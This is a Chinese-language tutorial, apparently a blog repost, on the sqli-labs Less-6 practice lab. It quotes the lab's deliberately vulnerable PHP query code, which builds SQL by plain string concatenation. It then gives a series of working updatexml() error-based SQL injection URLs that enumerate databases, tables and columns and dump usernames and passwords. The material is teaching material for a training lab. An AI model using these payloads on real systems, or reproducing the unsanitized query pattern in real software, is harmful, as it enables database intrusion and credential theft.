Sqli-labs Less-6 使用updatexml()函数进行报错注入

Less6与Less5的区别在于Less6在id参数传到服务器时,对id参数进行了处理。这里可以从源代码中可以看到。

$id=$_GET['id'];
$id = '"'.$id.'"'; //套了双引号
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

那我们在这一关的策略和Less5的是一样的。Less5的所有方法均适用于Less6,只需要将 ' 替换成 "。

现在我们介绍一下使用updatexml()函数进行报错注入。

updatexml():更新xml文档的函数

语法:updatexml(目标xml文档,xml路径,更新的内容)

第二个参数 xml路径 是可操作的地方,xml文档中路径是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错

select username from security.users where id=1 and updatexml('anything','/x/xx','anything');

使用concat()拼接 ‘ / ‘ 效果相同,下面语句是在’anything’中查询 位置是 /database()的内容,并将其更新为’anything’。

select username from security.users where id=1 and updatexml('anything',concat('/',(select database())),'anything');

但这里也没有语法错误,不会报错,下面故意写入语法错误:

select username from security.users where id=1 and updatexml('anything',concat('~',(select database())),'anything');

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,update()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

这里查询前5位示意:

select username from security.users where id=1 and updatexml('anything',concat('~',substring((select database()),1,5)),'anything');

好了,现在我们明白了原理,试一下吧。

首先获取user()的值

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

其中0x7e是ASCII编码,解码结果为~。

然后尝试获取当前数据库的库名 

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

接着可以利用select语句继续获取数据库中的库名、表名和字段名。查询语句与union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句限制查询结果,或者使用group_concat函数将查询结果打印在一行显示。

获取其他数据库的库名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+

获取当前数据库的表名

可以使用limit一个一个查询

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

也可以使用group_concat(table_name)一次性查询出所有的表名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

获取users表的字段名

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

获取users表的内容

http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

使用extractvalue()函数构造类似的payload也可以产生同样的xpath报错,大家可以自行尝试。

参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

原文地址:https://www.cnblogs.com/zhengna/p/12575676.html